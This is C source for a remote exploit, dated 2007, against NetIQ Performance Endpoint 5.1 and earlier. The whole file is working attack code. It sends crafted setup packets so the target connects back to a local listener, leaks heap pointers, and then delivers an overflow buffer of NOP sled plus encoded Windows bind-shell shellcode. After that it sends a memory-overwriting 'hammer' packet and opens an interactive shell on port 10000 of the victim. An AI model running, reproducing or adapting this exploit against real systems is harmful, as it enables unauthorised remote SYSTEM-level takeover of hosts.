/* endpoint-pown.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit
 * by mu-b - Jun 2007
 *
 * $Id: endpoint-pown.c 12 2012-08-17 08:31:11Z mu-b $
 *
 * - Tested on: NetIQ Performance Endpoint 5.1 (win32)
 *                                   (Revised: May 23, 2006)
 *
 * look daddy, no offsets!, this exploit is completely universal
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <arpa/inet.h>
#include <assert.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define IPV4_BUFLEN             16 /* "255.255.255.255\0" */

#define PAD_BYTE                0x41
#define NOP_BYTE                0x90

#define PORT_SHELL              10000
#define ENDPT_TCP_PORT          10115
#define ENDPT_PKTMAX            0x1388

static char ppkt_buf1[] =
  "\x06"                              /* ENDPT_COMMAND_SETUP_E1   */
  "\x07\x14\x43\x1A"                  /* verify_get_id (1)        */
  "\x00\x22"                          /* copyright_smart_compare  */
  "Copyright Ganymede Software Inc."
  "\x00\x03"                          /*                          */
  "\xff"                              /* code_convert_from_line   */
  "\x00\x03"                          /*                          */
  "\xff"                              /* code_convert_from_line   */
  "\x00"                              /*            */
  "\x00\x02"                          /* len < 0x80 */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /* len < 0x40 */
  "\x41\x41\x41\x41\x41\x41\x41\x41"  /*            */
  "\x41\x41\x41\x41\x41\x41\x41\x41"  /*            */
  "\x02"                              /* protocol   */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x41\x41\x41\x41\x41\x41"          /*            */
  "\x00\x00\x00\x01"                  /*            */
  "\x00\x00\x00\x02"                  /* 218h       */
  "\x00"                              /*            */
  "\x01"                              /* 1ACh       */
  "\x00\x00"                          /*            */
  "\x00"                              /* 254h       */
  "\x02"                              /* protocol   */
  "\x00\x03"                          /* len < 0x40 */
  "\x00";                             /*            */

static char ppkt_buf1_end[] =
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00";                             /*            */

static char ppkt_buf2[] =
  "\x06"                              /* ENDPT_COMMAND_SETUP_E1   */
  "\x07\x14\x43\x1A"                  /* verify_get_id (1)        */
  "\x00\x22"                          /* copyright_smart_compare  */
  "Copyright Ganymede Software Inc."
  "\x00\x03"                          /*                          */
  "\xff"                              /* code_convert_from_line   */
  "\x00\x03"                          /*                          */
  "\xff"                              /* code_convert_from_line   */
  "\x02"                              /* protocol   */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x69"                              /* 210h       */
  "\x00\x00\x00\x69"                  /* var_C      */
  "\x00\x02"                          /*            */
  "\x00\x00\x00\x69"                  /* var_C      */
  "\x00\x00\x00\x69"                  /* 218h       */
  "\x69"                              /*            */
  "\x01"                              /* 1ACh       */
  "\x00\x00"                          /*            */
  "\x69"                              /* 254h       */
  "\x02"                              /* protocol   */
  "\x00\x03"                          /* len < 0x40 */
  "\x00";                             /*            */

static char ppkt_buf2_end[] =
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x00\x03"                          /* len < 0x40 */
  "\x00"                              /*            */
  "\x69"                              /* 0A8h       */
  "\x00\x03"                          /* len < 0x40 */
  "\x00";                             /*            */

static char cpkt_buf1[] =
  "\x07"
  "AAAA";

static char cpkt_buf2[] =
  "\x38"
  "\x00\x04"
  "AAAA";

static char evil_len[] =
  "\x11\xc0";                         /* adc eax, eax */

static char hammer_buf[] =
  "\x00\x25\x38"
  "\x00\x20"
  "AAAA"
  "\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00"
  "AAAA";

static char win32_x86_bind[] =
  "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e"
  "\x2b\xb7\x2a\x83\xeb\xfc\xe2\xf4\x72\x41\x5c\x67\x66\xd2\x48\xd5"
  "\x71\x4b\x3c\x46\xaa\x0f\x3c\x6f\xb2\xa0\xcb\x2f\xf6\x2a\x58\xa1"
  "\xc1\x33\x3c\x75\xae\x2a\x5c\x63\x05\x1f\x3c\x2b\x60\x1a\x77\xb3"
  "\x22\xaf\x77\x5e\x89\xea\x7d\x27\x8f\xe9\x5c\xde\xb5\x7f\x93\x02"
  "\xfb\xce\x3c\x75\xaa\x2a\x5c\x4c\x05\x27\xfc\xa1\xd1\x37\xb6\xc1"
  "\x8d\x07\x3c\xa3\xe2\x0f\xab\x4b\x4d\x1a\x6c\x4e\x05\x68\x87\xa1"
  "\xce\x27\x3c\x5a\x92\x86\x3c\x6a\x86\x75\xdf\xa4\xc0\x25\x5b\x7a"
  "\x71\xfd\xd1\x79\xe8\x43\x84\x18\xe6\x5c\xc4\x18\xd1\x7f\x48\xfa"
  "\xe6\xe0\x5a\xd6\xb5\x7b\x48\xfc\xd1\xa2\x52\x4c\x0f\xc6\xbf\x28"
  "\xdb\x41\xb5\xd5\x5e\x43\x6e\x23\x7b\x86\xe0\xd5\x58\x78\xe4\x79"
  "\xdd\x78\xf4\x79\xcd\x78\x48\xfa\xe8\x43\x90\x3a\xe8\x78\x3e\xcb"
  "\x1b\x43\x13\x30\xfe\xec\xe0\xd5\x58\x41\xa7\x7b\xdb\xd4\x67\x42"
  "\x2a\x86\x99\xc3\xd9\xd4\x61\x79\xdb\xd4\x67\x42\x6b\x62\x31\x63"
  "\xd9\xd4\x61\x7a\xda\x7f\xe2\xd5\x5e\xb8\xdf\xcd\xf7\xed\xce\x7d"
  "\x71\xfd\xe2\xd5\x5e\x4d\xdd\x4e\xe8\x43\xd4\x47\x07\xce\xdd\x7a"
  "\xd7\x02\x7b\xa3\x69\x41\xf3\xa3\x6c\x1a\x77\xd9\x24\xd5\xf5\x07"
  "\x70\x69\x9b\xb9\x03\x51\x8f\x81\x25\x80\xdf\x58\x70\x98\xa1\xd5"
  "\xfb\x6f\x48\xfc\xd5\x7c\xe5\x7b\xdf\x7a\xdd\x2b\xdf\x7a\xe2\x7b"
  "\x71\xfb\xdf\x87\x57\x2e\x79\x79\x71\xfd\xdd\xd5\x71\x1c\x48\xfa"
  "\x05\x7c\x4b\xa9\x4a\x4f\x48\xfc\xdc\xd4\x67\x42\x61\xe5\x57\x4a"
  "\xdd\xd4\x61\xd5\x5e\x2b\xb7\x2a";

static int verbose = 1;   /* verbosity */
static int ppid, cpid;    /* parent and child process id's */

static int get_localip_ioctl (in_addr_t *);
static int sock_send (int, char *, int);
static int sock_recv_str (int, char *, int);
static int sock_recv (int, char *, int);
static void shellami (int);

static void
fatal (void)
{
  kill (0, SIGKILL);
  exit (EXIT_FAILURE);
}

static int
get_localip_ioctl (in_addr_t *ip_addr)
{
  struct ifreq ifr[16];
  struct ifconf ifc;
  int i, if_count, result, sock;

  if ((sock = socket (PF_INET, SOCK_STREAM, 0)) == -1)
    return (-1);

  memset (&ifc, 0, sizeof ifc);
  ifc.ifc_buf = (char *) &ifr;
  ifc.ifc_len = sizeof ifr;

  if (ioctl (sock, SIOCGIFCONF, &ifc) == -1)
    return (-1);

  result = -1;
  if_count = ifc.ifc_len / sizeof (struct ifreq);
  for (i = 0; i < if_count; i++)
    {
      if (ioctl (sock, SIOCGIFADDR, &ifr[i]) == -1)
        continue;
      if (ioctl (sock, SIOCGIFFLAGS, &ifr[i]) == -1)
        continue;

      if (!(ifr[i].ifr_flags & IFF_UP))
        continue;

      if (strcmp (inet_ntoa (((struct sockaddr_in *) &ifr[i].ifr_addr)->sin_addr),
                  "127.0.0.1") == 0)
        continue;

      memcpy (ip_addr, &(((struct sockaddr_in *) &ifr[i].ifr_addr)->sin_addr),
              sizeof *ip_addr);
      result = 0;
      break;
    }

  if (close (sock) != 0)
    return (-1);

  return (result);
}

static int
sock_send (int fd, char *src, int len)
{
  int n;
  if ((n = send (fd, src, len, 0)) < 0)
    {
      perror ("send()");
      exit (EXIT_FAILURE);
    }

  return (n);
}

static int
sock_recv_str (int fd, char *dst, int len)
{
  int n;

  n = recv (fd, dst, len, 0);
  if (n >= 0)
    dst[n] = '\0';

  return (n);
}

static int
sock_recv (int fd, char *dst, int len)
{
  return (recv (fd, dst, len, 0));
}

static void
shellami (int fd)
{
  int n;
  fd_set rset;
  char rbuf[1024];

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (fd, &rset);
      FD_SET (STDIN_FILENO, &rset);

      if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
        {
          perror ("select()");
          fatal ();
        }

      if (FD_ISSET (fd, &rset))
        {
          if ((n = sock_recv_str (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
            {
              fprintf (stderr, "Connection closed by foreign host.\n");
              exit (EXIT_SUCCESS);
            }
          printf ("%s", rbuf);
          fflush (stdout);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
            {
              rbuf[n] = '\0';
              sock_send (fd, rbuf, n);
            }
        }
    }
}

static int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd;

  fflush (stdout);
  if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
    {
      perror ("connect()");
      return (-1);
    }

  return (fd);
}

int
endpt_add_string (char *buf, char *str)
{
  unsigned int str_len;
  unsigned short str_lens;

  assert (buf != NULL && str != NULL);

  str_len = 2 + strlen (str) + 1;
  str_lens = htons (str_len);

  /* add the string length and copy, including NULL */
  *((unsigned short *) buf) = str_lens;
  memcpy (buf + 2, str, str_len - 2);

  return (str_len);
}

char *
endpt_read_packet (int fd, char *buf)
{
  unsigned short pkt_len;
  int n;

  n = sock_recv (fd, (char *) &pkt_len, sizeof pkt_len);
  if (n < 2)
    {
      fprintf (stderr, "endpt_read_packet: failed reading length!\n");
      return (NULL);
    }

  pkt_len = ntohs (pkt_len);
  if (pkt_len > ENDPT_PKTMAX)
    {
      fprintf (stderr, "endpt_read_packet: invalid packet length!\n");
      return (NULL);
    }

  n = sock_recv (fd, buf, pkt_len - 2);
  if (n < pkt_len - 2)
    {
      fprintf (stderr, "endpt_read_packet: failed reading packet (%d read, need %d)!\n", n, pkt_len);
      return (NULL);
    }

  return (buf);
}

char *
endpt_create_packet (char *buf, unsigned int len)
{
  char *pkt_buf;
  unsigned int pkt_len;
  unsigned short pkt_lens;

  assert (buf != NULL && len > 0);
  assert (len <= UINT_MAX - 2);
  assert (len <= ENDPT_PKTMAX - 2);

  pkt_len = 2 + len;
  pkt_buf = malloc (pkt_len * sizeof (char));
  if (pkt_buf == NULL)
    return (NULL);

  pkt_lens = htons (pkt_len);

  /* add the packet length and copy */
  *((unsigned short *) pkt_buf) = pkt_lens;
  memcpy (pkt_buf + 2, buf, len);

  return (pkt_buf);
}

void
endpt_listen_child (char *thost)
{
  struct sockaddr_in servaddr, cliaddr;
  char pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
  void *var_30_ptr;
  int lfd, cfd, sfd, pid;
  socklen_t clilen;

  pid = getpid ();

  if ((lfd = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    {
      perror ("socket()");
      fatal ();
    }

  memset (&servaddr, 0, sizeof servaddr);
  servaddr.sin_family = AF_INET;
  servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
  servaddr.sin_port = htons (ENDPT_TCP_PORT);

  if (bind (lfd, (struct sockaddr *) &servaddr, sizeof servaddr) < 0)
    {
      perror ("bind()");
      fatal ();
    }

  if (listen (lfd, 2) < 0)
    {
      perror ("listen()");
      fatal ();
    }

  clilen = sizeof cliaddr;
  if ((cfd = accept (lfd, (struct sockaddr *) &cliaddr, &clilen)) < 0)
    {
      perror ("accept()");
      fatal ();
    }

  printf ("[child-%d] connection accepted from %s:%d\n",
          pid, inet_ntoa (cliaddr.sin_addr), ntohs (cliaddr.sin_port));

  printf ("[child-%d] reading first packet...", pid);

  /* read dummy packet */
  if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
    {
      close (cfd);
      fatal ();
    }
  printf ("done\n");

  printf ("[child-%d] sending first reply...", pid);
  pkt_ptr = endpt_create_packet (cpkt_buf1, sizeof cpkt_buf1 - 1);

  sock_send (cfd, pkt_ptr, (sizeof cpkt_buf1 - 1) + 2);
  free (pkt_ptr);
  printf ("done\n");

  printf ("[child-%d] reading second packet...", pid);
  fflush (stdout);
  /* read dummy packet */
  if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
    {
      close (cfd);
      fatal ();
    }
  printf ("done\n");

  printf ("[child-%d] reading third packet...", pid);

  if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
    {
      close (cfd);
      fatal ();
    }
  memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
  printf ("done\n");

  printf ("[child-%d] MAGIC COOKIE: %p\n", pid, var_30_ptr);

  memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);

  printf ("[child-%d] reading fourth packet...", pid);
  fflush (stdout);
  /* read dummy packet */
  if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
    {
      close (cfd);
      fatal ();
    }
  printf ("done\n");

  printf ("[child-%d] reading fifth packet...", pid);

  if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
    {
      close (cfd);
      fatal ();
    }
  memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
  printf ("done\n");

  printf ("[child-%d] MAGIC COOKIE: %p\n", pid, var_30_ptr);

  memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);

  printf ("[child-%d] sending second reply...", pid);
  pkt_ptr = endpt_create_packet (cpkt_buf2, sizeof cpkt_buf2 - 1);

  sock_send (cfd, pkt_ptr, (sizeof cpkt_buf2 - 1) + 2);
  free (pkt_ptr);
  printf ("done\n");

  printf ("[child-%d] sending evil buffer...", pid);

  ptr = pkt_buf;
  memcpy (ptr, evil_len, sizeof evil_len);
  ptr += sizeof evil_len - 1;
  memset (ptr, NOP_BYTE, 0x11c0 - 2);
  memcpy (ptr + 256, win32_x86_bind, sizeof win32_x86_bind - 1);
  ptr += 0x11c0 - 2;
  sock_send (cfd, pkt_buf, 0x11c0);
  printf ("done\n");

  printf ("[child-%d] sending hammer buffer...", pid);

  ptr = pkt_buf;
  memcpy (ptr, hammer_buf, sizeof hammer_buf);
  memcpy (&pkt_buf[5], &var_30_ptr, sizeof var_30_ptr);
  var_30_ptr -= 0x480 - 0x08;
  memcpy (&pkt_buf[33], &var_30_ptr, sizeof var_30_ptr);
  sock_send (cfd, pkt_buf, sizeof hammer_buf - 1);
  printf ("done\n");

  printf ("[child-%d] waiting for the shellcode to be executed...\n", pid);
  sleep (1);
  sfd = sockami (thost, PORT_SHELL);
  printf ("+Wh00t!\n\n");
  shellami (sfd);

  sleep(2);
  close (cfd);
}

void
endpt_parent (char *thost)
{
  struct in_addr ip_addr;
  char ip_buf[IPV4_BUFLEN], pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
  int fd;

  get_localip_ioctl (&ip_addr.s_addr);
  strncpy (ip_buf, inet_ntoa (ip_addr), sizeof ip_buf);
  ip_buf[sizeof ip_buf - 1] = '\0';

  if (verbose)
    fprintf (stderr, "[parent-%d] source address %s\n", ppid, ip_buf);

  fflush (stdout);

  printf ("[parent-%d] connecting to %s:%d...", ppid, thost, ENDPT_TCP_PORT);
  if ((fd = sockami (thost, ENDPT_TCP_PORT)) < 0)
    fatal ();
  printf ("done\n");

  printf ("[parent-%d] building first packet...", ppid);

  ptr = pkt_buf;
  memcpy (ptr, ppkt_buf1, sizeof ppkt_buf1);
  ptr += sizeof ppkt_buf1 - 1;

  /* add the connect-back IP */
  ptr += endpt_add_string (ptr, ip_buf);

  memcpy (ptr, ppkt_buf1_end, sizeof ppkt_buf1_end);
  ptr += sizeof ppkt_buf1_end - 1;

  pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
  printf ("done\n");

  sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
  free (pkt_ptr);

  sleep (1);
  printf ("[parent-%d] building second packet...", ppid);

  ptr = pkt_buf;
  memcpy (ptr, ppkt_buf2, sizeof ppkt_buf2);
  ptr += sizeof ppkt_buf2 - 1;

  /* add the connect-back IP */
  ptr += endpt_add_string (ptr, ip_buf);

  memcpy (ptr, ppkt_buf2_end, sizeof ppkt_buf2_end);
  ptr += sizeof ppkt_buf2_end - 1;

  pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
  printf ("done\n");

  sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);

  printf ("[parent-%d] building third packet...done\n", ppid);
  sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
  free (pkt_ptr);

  close (fd);
}

int
main (int argc, char **argv)
{
  int cret;

  printf ("NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = getpid ();
  if ((cpid = fork ()) < 0)
    {
      perror ("fark()");
      exit (EXIT_FAILURE);
    }
  else if (cpid == 0)
    {
      /* child */
      endpt_listen_child (argv[1]);
      exit (EXIT_SUCCESS);
    }

  /* parent */
  endpt_parent (argv[1]);

  /* wait for child */
  wait (&cret);
  if (verbose)
    fprintf (stderr, "[parent-%d] child-%d exited %d\n", ppid, cpid, cret);

  return (EXIT_SUCCESS);
}
